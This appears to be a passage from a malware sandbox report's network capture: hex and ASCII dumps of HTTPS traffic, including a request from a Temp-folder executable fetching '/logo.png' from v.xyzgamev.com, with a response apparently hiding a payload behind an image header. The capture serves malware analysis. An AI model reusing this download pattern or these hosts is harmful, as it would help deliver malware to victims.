bf 36 33 a8 a0 e7 4a 45 e4 ea ee 5f db e9 5d 6f 2d 36 03 a6 59 b3 c1 e9 dc 8b c8 12 24 a6 79 10 40 6a a0 2f e1 87 5e 38 e4 e9 4b 07 a2 6e d0 1e 27 03 Data Ascii: ^P\j~[(io))07Vp"`bjOh^dw~_jzghhj,-"\.jww(EbO4<'sd$GroS,f;c_:8U*N.B,d{h@`9Uo63JE_]o-6Y$y@j/^8Kn'
2022-08-31 12:30:48 UTC	5453	IN	Data Raw: 0b 0b 90 54 11 14 e6 d5 a8 92 1c 6b 95 89 44 a7 6a ea a2 cf f3 da 2e ca 71 61 98 2c 27 be 97 c2 a9 ae ab 04 8f e1 39 b8 e1 b6 2f 77 72 b0 d2 38 e2 0f 32 f1 2f fc 14 cd 5d 75 20 34 58 c0 eb 37 37 0d e8 06 74 0c fc dd 94 d5 6c 9c 22 2a ac b4 3d 1f 08 9a cc e9 51 9c 6a 23 2e 8c 8c 27 e3 e6 d8 10 6e e7 18 8b 56 42 e9 5a b7 f3 4a 73 91 e0 56 a7 1f e1 14 6f 19 25 28 d9 23 76 98 f5 7c 48 8f ef 66 c3 23 36 4a 5b 53 13 e3 60 26 28 a9 6c fc 39 a9 e7 49 d0 d7 81 1a d3 28 a9 ad 58 3a f3 53 11 bd 48 44 17 43 f8 0d 6f e1 a3 e1 31 60 2f fa 4e 93 f7 2a 2c 08 a5 87 a4 fd 3e d5 19 68 db 0d fc 19 ec 59 f4 0f d7 4f 8d 32 e4 4b fc 42 c0 56 f2 c7 3e 97 8b 02 37 7f 67 e7 4b fb dc 94 5a 13 da 95 52 77 bd 0e ca 47 86 79 bc 63 db f2 37 15 e8 66 64 c2 bf 97 61 6a 56 86 0a 58 24 3a Data Ascii: TkDj.qa,'9/wr82/]u 4X77tl"=Qj#.'nVBZJsVo%(#v\|Hf#6J[S`&(l9I(X:SHDCo1`/N,>hYO2KBV>7gKZRwGyc7fdajVX$:
2022-08-31 12:30:48 UTC	5469	IN	Data Raw: ab 23 2e 13 18 e9 a1 ce 81 26 9f 3e ce 6a 3d 00 c6 fe f6 31 d8 1e f7 99 c8 3b 9d 88 62 ea c0 8e 5f 12 d9 da ad ed 98 46 f0 ef e1 21 29 43 c2 a5 95 4d 6f 0f 16 63 6a a7 5e 84 95 44 60 a6 7c f9 a9 f4 4d 4d a1 b0 a3 a7 6a 2c 29 87 c1 66 17 c8 05 d1 e0 ec 20 90 93 a7 22 6c 25 ef a9 f5 fb 6c 10 be fd c2 44 9b 4d 38 d3 26 c6 c3 2d ec 6e 3f 59 59 97 7d 1a 64 c9 f1 1e 82 07 64 2a 84 a8 fe e6 78 b5 dd 2f 13 07 be 5b 7d 28 0e 68 a5 26 60 22 57 8b 8a 81 a6 1f 47 d9 dc 22 ac b5 98 8c ee c6 ef ca 8a 80 60 66 ab 75 8b 9f a1 af 92 d9 5b 59 60 23 64 5a 16 6b 24 66 29 bb 7b a5 05 c2 18 6e 54 23 d5 91 15 5b ad 2c 07 57 ed b1 9c d7 f9 35 1a ed 58 a9 1c 01 dd c3 1f e5 63 da 79 6a 7b b6 cc 14 6d b5 01 d8 2f fd 4f 80 5b 40 4f 81 38 b5 3a a6 f6 f7 93 d3 2a bb 23 22 2e bf df 46 Data Ascii: #.&>j=1;b_F!)CMocj^D`\|MMj,)f "l%lDM8&-n?YY}ddx/[}(h&`"WG"`fu[Y`#dZk$f){nT#[,W5Xcyj{m/O[@O8:#".F
2022-08-31 12:30:48 UTC	5477	IN	Data Raw: e2 ea c6 1b 2a bb ab 1f 52 ea 79 49 76 7b 5b eb e7 36 36 ae e2 85 8d ee 27 a4 a2 25 a8 fd fa de 63 96 1e 93 6a df 20 d4 1f e9 55 b2 24 fb 29 b8 70 d8 91 10 39 03 af 6f b7 f6 2a 67 11 2c 08 b4 19 c3 3c 6c e6 e4 2c 63 ad e6 23 eb 34 a5 37 e1 be 79 57 91 1e 31 eb 99 75 df 60 e0 1f 67 e3 6d 28 6e 2f e9 9e f0 83 c5 ae 3d b3 0b 7c f5 4e cc 65 22 04 ba 97 82 c3 cb 81 d7 1e bb f5 cb 88 de 10 e8 10 f8 f1 2d bf 08 50 96 ef 28 c4 08 50 5e 55 47 49 87 da 08 50 70 09 26 ca 08 81 76 8e f6 ea eb 0d 5c 83 9c 72 7d a6 af 62 11 41 45 52 61 db b8 46 a8 dd 54 21 50 f4 48 e2 ee 0a 02 ae ec 69 be 9d 59 5f 7e 6f cc ab 83 4c da 7f d7 62 b3 d4 df b9 b2 a6 63 12 c3 3a e3 0e 97 01 84 32 e3 3e e6 74 b9 75 b8 77 a4 6b ea 0a e2 ec 6c 65 f7 8c 53 1c 6c 3b 5b 0d f6 0b d6 7a 3c 11 e4 5d Data Ascii: RyIv{[66'%cj U$)p9og,<l,c#47yW1u`gm(n/=\|Ne"-P(P^UGIPp&v\r}bAERaFT!PHiY_~oLbc:2>tuwkleSl;[z<]
2022-08-31 12:30:48 UTC	5493	IN	Data Raw: 74 a8 14 c3 b6 a4 05 73 2d f6 43 b7 a9 c4 f6 f7 2e 97 52 ef 88 6b e5 a5 db dd a0 05 f6 73 81 c8 e6 f4 a6 c9 f5 89 29 25 c3 64 13 55 f1 49 18 b0 49 54 43 d5 b1 86 43 6a 3d 65 0f cd 9d d7 a2 f1 e5 16 ba 6d f9 76 0a 60 ad b1 3c ef 8a 35 99 6d 2f 48 f4 e0 58 e8 ac d8 ce 9c 05 73 8a a6 7c 66 b3 d5 ac c0 86 ee e2 9b 91 e8 e2 80 8a a1 26 62 8e 3a d0 66 ed 43 82 e5 a2 71 07 af de 69 d6 58 56 9a 1c d9 22 6d 26 97 9d 77 12 0e 1f 78 83 13 d8 e3 5b ae 72 f3 10 9a 8b 34 aa c6 97 37 a5 e7 80 e9 c2 59 3c c3 23 6c 46 b6 f7 af 4c 69 64 98 04 4e dd d6 7b 06 af d1 d9 62 2f 88 ed 0f 29 e4 1a af d2 28 e1 c9 b1 9e a4 6b ea 8c 4a ae 13 41 35 d6 ea 26 7b 1e f8 d0 09 01 d8 e2 98 10 50 e3 76 f7 63 91 e1 9c 75 05 38 f6 5a 9f 31 f4 67 43 02 78 cd 15 ab 60 66 d6 73 70 80 cc 58 8a 30 Data Ascii: ts-C.Rks)%dUIITCCj=emv`<5m/HXs\|f&b:fCqiXV"m&wx[r47Y<#lFLidN{b/)(kJA5&{Pvcu8Z1gCx`fspX0
2022-08-31 12:30:48 UTC	5509	IN	Data Raw: 8c 82 a5 69 c8 9e f0 64 73 7d a9 f2 a9 f2 b5 79 d4 a2 d0 64 53 5d a9 71 14 cc b5 79 d4 b2 c0 64 43 4d a9 11 1f 66 be b3 f8 7e 20 66 21 2d a9 51 5f 68 a4 19 bf 5b fc 64 7f 79 dd ae dc 64 5f 51 ad f6 f1 aa b5 79 c0 aa cc 64 4f 41 a9 09 6c cc ab 67 f0 7a 2c 66 2d 21 a9 49 47 68 b0 b3 d4 86 f4 64 77 79 a9 39 37 78 b4 19 7f b3 d4 64 57 59 a9 79 77 78 b4 19 7b 9c ff 64 47 49 a9 19 17 66 65 69 aa 29 b1 32 aa e9 e4 64 94 9e d1 89 fb 64 78 1b 07 58 d6 e4 a1 6d d4 a9 db 64 58 56 ad f6 ff a4 bd 71 80 ed cb 64 48 46 a9 07 9c 32 ab a7 ab 67 eb e6 aa e6 eb 64 8a ef 01 60 ac 45 10 3e a9 bd b3 64 fa f4 e5 3d 7e 19 6c 1e a9 9d 93 64 ba b4 85 49 d4 b2 69 0e a9 8d 83 64 da d4 ab 67 80 05 56 d2 ab ef e3 64 9a 94 a5 69 d8 81 ff 64 69 b2 7f b7 72 ad 69 b5 7e 75 7e 19 60 12 a9 Data Ascii: ids}ydS]qydCMf~ f!-Q_h[dyd_QydOAlgz,f-!IGhdwy97xdWYywx{dGIfei)2ddxXmdXVqdHF2gd`E>d=~ldIidgVdidiri~u~`
2022-08-31 12:30:48 UTC	5525	IN	Data Raw: 22 a3 64 ff 38 a7 6e a8 3c fa 6e af 0f ce 6a a2 63 de 1f a2 62 28 e8 a7 6f ac f4 37 6f ad fa 38 6a a1 63 06 c4 a1 7c 09 d4 a7 6c b0 b4 68 6d b1 9b 47 6a a0 7f 47 98 a0 7e b1 6f a6 63 bc 61 be 63 ba 52 8a 6b ae 74 f2 28 af 75 e8 33 a6 62 b9 0d d6 62 b6 fa 2f 6b ac 78 1f cb ac 79 07 d3 a6 61 b7 a3 75 61 b6 9f 49 6b ad 7a b5 61 ae 7d 9e e7 0d 63 b1 06 92 4a 23 83 46 12 5c 03 b5 4a 41 1c 81 ed a6 2a a5 28 a8 65 27 7c a9 f2 a7 8b 06 df 57 6f 6d 3a 06 80 7d 0c 8a 2a ce 03 c9 04 cc 31 44 cb c0 0f d7 0f f2 89 28 46 03 cc d5 1e 82 cb 83 e2 fb 1f 66 de fb 64 f7 0b d2 7c 16 da 95 8f 12 99 e1 c8 d3 35 ad 4d d4 1f 07 bd c5 db 74 36 88 19 d0 1f 14 d9 c9 05 df 12 89 44 cf d9 3d 2d 99 52 f8 05 94 dc 11 1a 84 3c 30 fd e0 ba 34 52 9d 50 9d 0c 31 99 cb 29 8b 0b 96 3b 97 52 Data Ascii: "d8n<njcb(o7o8jc\|lhmGjG~ocacRkt(u3bb/kxyauaIkza}cJ#F\JA(e'\|Wom:}1D(Ffd\|5Mt6D=-R<04RP1);R
2022-08-31 12:30:48 UTC	5532	IN	Data Raw: 68 67 da 5e 40 c4 97 cb fc 60 3d f0 6a 89 54 89 5a c7 04 6a 49 49 31 e9 41 36 70 12 69 d4 33 08 33 45 3a 69 c9 91 ef ad 84 e0 44 d6 cf 4d 6c eb e8 24 32 8a f9 b6 d6 06 55 e3 f3 f2 42 b3 aa 4d 9d e4 79 66 11 84 bb b4 96 50 a5 7f 38 e3 a1 12 12 57 1a 11 f8 1a 70 69 e4 de a0 9d 59 a7 11 d1 50 3e 90 fa 4d 67 02 58 07 84 b3 f9 d3 d6 6c 4e 2b 67 4b f9 0c e1 20 0a 72 3f 45 91 27 dc 74 b1 54 c2 6f 93 10 41 ab 96 6c 99 1f 8e 74 2a 88 de 12 b5 54 a3 32 45 24 db e6 90 63 99 8a ed eb 5b 52 46 4e b3 54 a8 fb 88 f5 a7 11 d1 77 99 15 14 22 16 fd bc fb b1 54 b2 fd bd 92 f8 63 50 95 9a 3b ac cb ac 9a 2c f5 8e 54 b5 ed c8 12 37 44 8e 41 99 10 86 d2 07 c7 60 84 5e 57 04 c3 93 3e 90 4a f2 7f 99 34 dc 0b 49 75 fd b7 ab 54 e7 bd 72 31 e5 a2 1d 7d 99 fd 51 aa fd e2 62 f3 b6 54 Data Ascii: hg^@`=jTZjII1A6pi33E:iDMl$2UBMyfP8WpiYP>MgXlN+gK r?E'tToAlt*T2E$c[RFNTw"TcP;,T7DA`^W>J4IuTr1}QbT
2022-08-31 12:30:48 UTC	5548	IN	Data Raw: d6 aa d9 1f 54 f7 0f 96 04 f9 6a 5d 4c 4b 5a 33 4a 15 97 5c 3a cb 6a 99 5c b5 cf d7 f3 bd 7d e0 28 c5 6a 93 6e 97 cc e5 7f 55 98 5d 55 9a 91 55 3f c2 5b b8 98 7f 5b 53 9a 5f 93 9e 50 bd 6c bd 7f b7 67 9e 04 cd 41 ea 3c a1 69 16 c8 11 aa c0 74 a3 74 a4 61 fc 3b fe 32 a3 5a 98 d1 27 5b 87 4b b6 7d a1 7b c2 43 fa 62 ab 0a 9f 06 14 b2 fc 9a 34 09 c3 0e b4 69 77 e6 25 d0 f6 ff 16 6b ac d1 16 10 dd 6b dd 12 bc 69 bb 6c d7 11 7e bf 40 f8 fa b1 72 fa 8c f1 76 89 9c 62 94 29 44 f6 10 46 c2 a3 09 e4 4f 96 9b 00 8d 6b 95 19 36 bc 98 54 d0 1b ce 42 96 92 ef dd 00 ca 81 4c 77 e9 c4 1d 15 cc 14 e2 3c cb ed 60 7a a5 1b d6 8b 36 d7 9b 1f 12 94 69 a5 b4 8f d6 c1 34 b6 7e 82 0a 90 11 dd 65 d0 12 a0 1a 7d 0f 53 00 06 e2 d8 2d 93 18 c9 72 d7 37 8b 1d 08 37 53 5b 94 99 56 97 Data Ascii: Tj]LKZ3J\:j\}(jnU]UU?[[S_PlgA<itta;2Z'[K}{Cb4iw%kkil~@rvb)DFOk6TBLw<`z6i4~e}S-r77S[V
2022-08-31 12:30:48 UTC	5564	IN	Data Raw: ab 2e a1 02 af 79 15 d3 9d e5 cd 80 03 de 0d 90 79 bc 42 df 04 f0 b4 b2 80 85 0d b0 fa 8a 05 1a fe 0b 6d c5 23 df 5b e6 99 50 6e cc c1 f2 9f cb 02 c2 cb d7 d5 a6 49 8b 78 bf 01 41 4b 48 45 c6 29 82 74 5e 82 4b f3 7d c5 e8 5f d2 29 8b 75 ae 72 cf 34 74 ee f0 58 a8 69 8f 2b 50 7c 4c f8 56 65 b8 d7 15 5f a5 2b ff 14 85 56 c8 3d 9a f4 ac 06 68 e5 a3 ea 5e 52 cc 94 b6 57 df 6a 0e 27 56 9e ea 1b 9d 6a bc 73 46 0f 9d f1 63 19 32 03 4e 65 cf cf 15 9f a1 9c f5 57 b6 77 90 dd 3c 61 86 c1 c4 46 11 be 44 4b 8c 60 3c 09 7f 6a 39 95 bb 7b c9 ef 02 41 2d eb a2 cd e2 ae 82 8e 42 1c bb 69 ae 4c 87 49 3a b4 bb 07 d5 fa d6 89 c1 19 e3 39 cf 77 a6 7a ac 72 be 54 ab 57 b4 b8 50 5d 29 e4 9c af 9d d8 fc 34 d4 b2 1f 8a 47 97 7a d4 55 63 a3 cf 10 7c c0 69 a6 6a d1 eb 5a d0 56 09 Data Ascii: .yyBm#[PnIxAKHE)t^K}_)ur4tXi+P\|LVe_+V=h^RWj'VjsFc2NeWw<aFDK`<j9{A-BiLI:9wzrTWP])4GzUc\|ijZV
2022-08-31 12:30:48 UTC	5580	IN	Data Raw: 0f 97 6f 93 41 2d 8a d7 4a 8b 64 a5 2a 5c a1 d6 1a d6 50 2d da d6 0d c0 1b 21 5c 17 3c a1 4a d6 1a d6 a3 de da c3 be 17 ba 42 2f d7 88 75 5a d3 ae 17 1b d6 75 b5 3f fd 68 23 5e 17 1b d6 5e 23 da 3f 99 7c da d6 1b 7d 00 17 c2 bf da d6 1b 57 97 1a da 1b 66 17 1b d6 6f ad 67 a5 60 7d 0a 17 7a c7 1a fc 21 b5 68 a2 de d9 c5 b7 1a 7e a0 b6 68 47 2f 72 1b 46 fa d7 e4 3c 8f 5c 9a ac 58 3c 43 d7 e4 3f cc 02 8f 59 f4 47 1a 74 73 7a 8e 56 88 37 1a c1 14 8b 4f c6 1a 07 c4 b3 72 a5 4e 73 98 b5 0a d7 28 c8 77 97 fa e1 b9 a2 1b d6 da ba 77 17 56 eb 1b d7 1b 19 64 17 3e 43 da f5 f8 17 1a 31 e7 0f da 04 ba d7 9c d3 f4 88 5c a2 77 b8 68 30 cd 97 60 c9 3e 95 c8 77 1a 2e fd bb 68 0b 3e 8f 8a 9f 12 d7 a5 58 5a d3 6e d6 d2 6f 1b 21 f3 c8 06 0b da d6 1b 65 18 17 bc d5 7e 17 1b Data Ascii: oA-Jd*\P-!\<JB/uZu?h#^^#?\|}Wfog`}z!h~hG/rF<\X<C?YGtszV7OrNs(wwVd>C1\wh0`>w.h>XZno!e~

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.4	49817	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\20C0.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 12:30:51 UTC	5591	OUT	GET /logo.png HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 12:30:51 UTC	5591	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 12:30:51 GMT Content-Type: image/png Content-Length: 67409 Connection: close Last-Modified: Wed, 24 Aug 2022 05:04:02 GMT ETag: "10751-5e6f59c08b027" Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 3036 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=SNqdAZAhxvzKNF2jEgS52CW8MgO%2FRmIULTiDMpwdky1WUwowUrSpIlJIeUzL%2F%2Frrkax2Xta6SaD%2FbhE3BAwRquhchpnodNSCVGj%2FS%2BtR%2BikkpbdpLAz64IUoC1xeUx2SHQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7435c7a6ac809bd0-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 12:30:51 UTC	5592	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 10 00 00 00 5c 08 06 00 00 00 a6 e7 ea b6 00 00 17 18 49 44 41 54 78 01 ed 5d 0b 94 1c 55 99 be 3a d3 81 c0 2e 82 c2 2a 82 08 12 10 90 05 92 aa 9a 84 90 d8 5d b7 7b b2 41 e2 41 81 28 b8 bb 0a 08 8a 1b 5c 84 98 05 e5 31 9a ae 9a 09 89 c0 02 0a 41 40 36 e1 81 06 17 10 1f 90 cc 24 01 f4 08 28 c8 43 58 58 7c 10 1e 64 fa 11 92 49 55 75 1e 99 64 7a ef b7 e6 b8 a4 b7 67 e6 bf d5 75 bb aa 87 fb 9d 73 4f e7 31 d3 d3 67 ea d6 57 ff fd ff ef ff 7e 16 07 66 76 ad db 2b ed 54 4c ee 7a a7 71 d7 9f 63 bb c1 65 b6 eb 3b dc f1 7b c4 df e7 8b bf 5f 22 d6 b9 d9 ee 60 56 da f5 8f 4e 77 55 77 67 1a 1a 1a ef 4c a4 7b 36 1f cc 9d ca 79 dc 0d ee b2 5d ff cf e2 b5 2a b3 32 79 6f bb 78 7d 5e 7c ef cd dc f5 ff 29 dd e5 ed cb Data Ascii: PNGIHDR\IDATx]U:.]{AA(\1A@6$(CXX\|dIUudzgusO1gW~fv+TLzqce;{_"`VNwUwgL{6y]2yox}^\|)
2022-08-31 12:30:51 UTC	5593	IN	Data Raw: 2d 1f 75 f8 bf ce 2d d8 74 50 93 8f 58 9f 15 44 e2 69 f2 d0 d0 04 92 10 70 27 b8 54 3e 59 19 5c 6f dc 54 4d b1 18 90 ed de 78 78 26 1f fc b7 26 0f 0d 4d 20 09 c8 7b f0 bc b7 4d 2a 51 ea 04 df 40 a2 93 c5 08 b4 f9 c3 43 84 69 68 68 02 89 07 5d 5d d5 77 73 d7 7f 4c 92 3c e6 31 0d 0d 0d 4d 20 82 0c 3e 2f 79 6c b9 86 1e 79 68 68 8c 59 68 02 99 79 ed d0 6e dc f5 d6 48 94 69 57 21 d9 ca 34 34 34 34 81 70 27 38 47 82 3c d6 a1 8c ca 34 34 34 34 81 20 f7 21 d3 24 27 92 95 5f 60 80 86 86 86 26 10 f4 ba c8 68 3d 40 38 0c d0 d0 d0 d0 04 c2 f3 c1 9d 54 02 41 6f 0c 03 34 34 34 34 81 a0 23 96 da 69 9b 71 fd 27 74 d5 a5 75 a0 a1 09 a4 da c5 de 8d c5 54 01 e2 2b 6a f4 41 53 79 6a 54 d3 e9 f6 75 dc e8 28 66 cd 79 c5 ac 75 77 81 1b bf 2d 65 8d 42 c9 b6 2a 85 ac 35 84 57 fc Data Ascii: -u-tPXDip'T>Y\oTMxx&&M {MQ@Cihh]]wsL<1M >/ylyhhYhynHiW!4444p'8G<4444 !$'_`&h=@8TAo4444#iq'tuT+jASyjTu(fyuw-eB5W
2022-08-31 12:30:51 UTC	5594	IN	Data Raw: 50 b0 8d 8d f4 bd 60 bc 55 b2 8d 33 a8 7b ee 95 74 7a 77 99 72 70 d1 ee 98 51 27 02 f1 bf 4f 22 90 7c 70 f7 98 3f c2 e4 fd 8b ea 32 76 6e f2 91 82 10 76 48 d4 d2 1f 1c 98 36 6d 1f 16 02 d0 7b 40 90 26 75 46 b5 cd 8f b2 11 b0 65 c5 b8 23 c5 f1 63 87 c4 51 e5 67 d5 5e f6 1e 16 02 43 0f b1 f7 8a 23 ce 72 99 ca cc 96 87 c6 1d 31 aa d5 c4 4e b1 23 71 fd 11 92 83 b0 09 5a 54 77 92 40 20 90 a4 4b 44 a3 cf 23 ca 0d 59 51 5c 48 8c 42 9e c5 91 aa 36 2c bc 92 96 44 f5 1e 1c f3 11 88 13 5c 3c cc 85 5c 2a 71 21 ef ad 1a 46 8a 35 80 ea ec a3 c6 15 b3 d6 4f 24 7e e6 6d 6c 04 88 68 62 89 c4 b1 e2 9e 46 fb 59 aa 4f b2 94 78 9f fb 24 a2 9d 11 f3 6b 19 c7 3b 55 86 3c a6 3b c1 fe ac 01 80 7c 32 6e f0 56 d3 09 a4 f6 98 91 b5 7c 62 14 fa 5f 88 56 1a e9 db c2 51 9b f2 b3 10 55 Data Ascii: P`U3{tzwrpQ'O"\|p?2vnvH6m{@&uFe#cQg^C#r1N#qZTw@ KD#YQ\HB6,D\<\*q!F5O$~mlhbFYOx$k;U<;\|2nV\|b_VQU
2022-08-31 12:30:51 UTC	5595	IN	Data Raw: 8e 08 0f 97 02 37 3a d5 46 cb b8 e9 1c ef 37 12 d2 e1 97 09 03 79 62 01 54 a5 e4 2e dc f9 fe df 0f 43 20 57 d0 ea f1 a6 9a 61 5b f2 2e 68 97 d5 10 c8 15 94 1b 77 fb ca d4 19 8a 75 20 67 12 d5 b0 f3 43 3e d0 be a7 f2 9e c0 10 aa 66 12 08 a1 91 92 6e 60 c5 cd fc 5b 33 cc 0f b1 66 01 73 6f 25 4d 78 1e 22 f4 c8 34 15 e9 05 95 03 a9 dd 94 10 d1 0d 7f e3 9a a7 13 2f d6 0f 98 42 60 68 10 d1 bf f2 33 ec 6d d8 de 97 3a 9d 56 3e 6d bb 45 71 19 f7 0e ca e7 c0 e7 dd c5 81 2c bf f9 10 e2 3e 7c 89 29 42 6e be 77 64 93 85 64 d8 77 3d 0d 3a f8 3f 02 43 21 9a cc 5d 01 30 40 4a 72 86 c6 d2 d9 cb aa 6d 2c 01 80 7a 51 90 da 6f c9 47 31 a7 72 f2 b0 12 e0 f4 e4 83 89 5d b8 eb c3 74 e1 52 65 c8 d4 b6 ee da 27 cd e6 d5 bb 1d 4c ac 7e bc 25 5a f8 95 7c 7e e4 57 44 72 d4 a3 7c 8e Data Ascii: 7:F7ybT.C Wa[.hwu gC>fn`[3fso%Mx"4/B`h3m:V>mEq,>\|)Bnwddw=:?C!]0@Jrm,zQoG1r]tRe'L~%Z\|~WDr\|
2022-08-31 12:30:51 UTC	5597	IN	Data Raw: 5c 7b 0e 15 a1 72 ce 32 a3 76 6a 9a 44 b0 7b 8b 65 a1 29 d0 ce 0f 1c ca 14 00 21 1c 21 ac 54 b4 8c 7b 1b a9 cd 03 d5 07 d8 1e 68 f5 8f 29 f2 78 00 43 a7 1a 6e 70 73 fd f9 ef 24 02 01 30 8f 05 89 d2 38 22 0f ba 6f 48 88 9a 39 66 ca 66 f2 c1 40 42 8e 2c 9b 60 85 a7 da 76 11 2e 64 45 6e 5d dd e4 0b b9 10 3f 37 42 93 9f ab 9b 4a 20 bd a9 ef 10 c6 66 92 81 41 52 2a a3 60 e4 5b 50 12 8e 9d 40 6a 12 ee c8 a7 35 71 cf fd be 90 35 3f c2 54 03 c2 2c 54 56 70 03 c7 73 5c 81 fd bf b7 04 19 75 d6 44 94 b2 1d 27 29 0e 2d 51 3e 5b 8b 11 13 4c 01 44 27 ee 49 22 09 da af 92 38 f0 fe 98 f4 af 46 4c 58 b1 60 2b a1 60 3f 55 60 54 04 55 75 92 08 04 78 79 e6 84 dd f0 30 41 45 44 2d 79 98 37 10 12 a6 d1 13 09 ca a5 b6 eb bd d6 ac 88 03 ea 43 94 7e 59 93 51 33 08 79 11 ca aa 51 Data Ascii: \{r2vjD{e)!!T{h)xCnps$08"oH9ff@B,`v.dEn]?7BJ fAR*`[P@j5q5?T,TVps\uD')-Q>[LD'I"8FLX`+`?U`TUuxy0AED-y7C~YQ3yQ
2022-08-31 12:30:51 UTC	5598	IN	Data Raw: 88 5c fd 47 e6 62 05 ec 8b 02 a3 47 e6 86 28 15 bb 46 e7 47 e6 45 e4 46 e7 09 a8 47 e6 62 05 f3 94 44 e5 47 e6 62 05 fb 9c 44 e5 47 e6 62 05 f9 9e 44 e5 47 e6 bb 3b 0a 0b c4 e4 47 e6 e9 00 00 00 00 00 00 00 50 15 45 00 4c 4d 04 05 80 de 5e 63 63 00 00 00 00 00 00 00 e0 e0 02 23 2a 0a 09 08 00 70 70 00 00 70 70 00 00 00 00 00 a4 b3 17 00 00 10 10 00 00 80 80 00 00 00 00 10 10 10 10 00 00 10 10 00 04 04 00 00 00 00 00 00 04 04 00 00 00 00 00 00 00 00 01 01 00 10 10 00 bf a0 1e 01 02 02 00 00 00 00 10 10 00 10 10 00 00 00 10 10 00 10 10 00 00 00 00 00 10 10 00 00 80 1a 9a 00 62 62 00 00 14 81 95 00 28 28 00 00 00 c0 c0 00 fc da 26 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 f0 00 a0 a7 07 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: \GbG(FGEFGbDGbDGbDG;GPELM^cc#*ppppbb((&
2022-08-31 12:30:51 UTC	5599	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:30:51 UTC	5601	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2022-08-31 12:30:51 UTC	5602	IN	Data Raw: 34 91 ac fd 7c ac 10 23 57 41 24 52 60 e8 e0 f8 96 02 de d5 78 28 85 d5 78 34 64 76 8b 91 93 b6 3d 80 80 10 a8 9a 74 15 62 08 2c b1 18 ac 10 39 2c bd 14 ac 10 39 2c b5 1c ac 10 e6 f3 79 c5 b9 10 11 74 66 90 8e 71 c5 b9 10 11 69 60 9a 92 10 ef 28 74 db c1 b9 10 b1 d9 c1 b9 10 9b a6 29 84 80 10 78 d8 1c ac 10 40 af 2a ee f8 4a cd 60 30 1b 8b 0e 8b 01 00 f6 f3 79 c5 b9 10 11 74 66 90 8e 71 c5 b9 10 11 69 60 9a 92 10 ef 28 74 db c1 b9 10 9b 86 75 c1 b9 10 78 a4 60 ac 10 41 ae 2a 5e 53 5d 5e d4 8b d2 57 01 00 f6 f3 79 c5 b9 10 11 74 66 90 8e 71 c5 b9 10 11 69 60 9a 92 10 ef 28 74 db c1 b9 10 9b 9e 6d c1 b9 10 78 cc 08 ac 10 42 ad 2a 5e 63 6d 68 e2 8b a6 23 01 00 b8 f9 50 04 04 10 04 c5 6c ac 10 11 04 b9 10 ac 10 11 04 c1 68 ac 10 78 d4 10 ac 10 f8 b3 a5 01 00 Data Ascii: 4\|#WA$R`x(x4dv=tb,9,9,ytfqi`(t)x@J`0ytfqi`(tux`A^S]^Wytfqi`(tmxB*^cmh#Plhx
